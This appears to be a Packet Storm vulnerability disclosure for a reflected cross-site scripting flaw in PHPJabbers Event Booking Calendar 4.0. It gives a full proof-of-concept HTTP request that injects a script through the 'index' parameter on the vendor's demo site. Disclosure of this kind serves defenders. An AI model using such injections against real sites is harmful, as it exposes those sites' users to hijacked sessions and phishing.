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## https://sploitus.com/exploit?id=PACKETSTORM:174520
## Title: Event Booking Calendar-4.0 XSS-Reflected  
## Author: nu11secur1ty  
## Date: 09/06/2023  
## Vendor: https://www.phpjabbers.com/  
## Software: https://www.phpjabbers.com/event-booking-calendar/#sectionDemo  
## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected  
  
## Description:  
The value of the index request parameter is copied into the value of  
an HTML tag attribute which is encapsulated in double quotation marks.  
The payload ap5yf"><script>alert(1)</script>n9d5d was submitted in the  
index parameter. This input was echoed unmodified in the application's  
response.  
The attacker can make a specially crafted malicious URL and spread it  
into the network, to infect every user of this system who clicks on it  
and visit it.  
  
STATUS: HIGH Vulnerability  
  
[+]Testing Payload:  
```GET  
GET /1693985138_790/index.php?controller=pjFrontPublic&action=pjActionLoadEvents&session_id=&theme=theme7&locale=1&hide=0&index=4786ap5yf%22%3e%3cscript%3ealert(1)%3c%2fscript%3en9d5d&show_header=1&show_icons=1&show_categories=1&category_id=0&month=09&year=2023&view=calendar&period=&page=1  
HTTP/1.1  
Host: demo.phpjabbers.com  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141  
Safari/537.36  
Connection: close  
Cache-Control: max-age=0  
Cookie: _ga=GA1.2.1968270768.1693986414;  
_gid=GA1.2.227754763.1693986414; _gat=1;  
_fbp=fb.1.1693986413650.1548084853;  
_ga_NME5VTTGTT=GS1.2.1693986413.1.0.1693986413.60.0.0  
X-Requested-With: XMLHttpRequest  
Referer: https://demo.phpjabbers.com/1693985138_790/preview.php?lid=1  
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"  
Sec-CH-UA-Platform: Windows  
Sec-CH-UA-Mobile: ?0  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Event-Booking-Calendar-4.0%20)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/09/event-booking-calendar-40-xss-reflected.html)  
  
## Time spent:  
01:25:00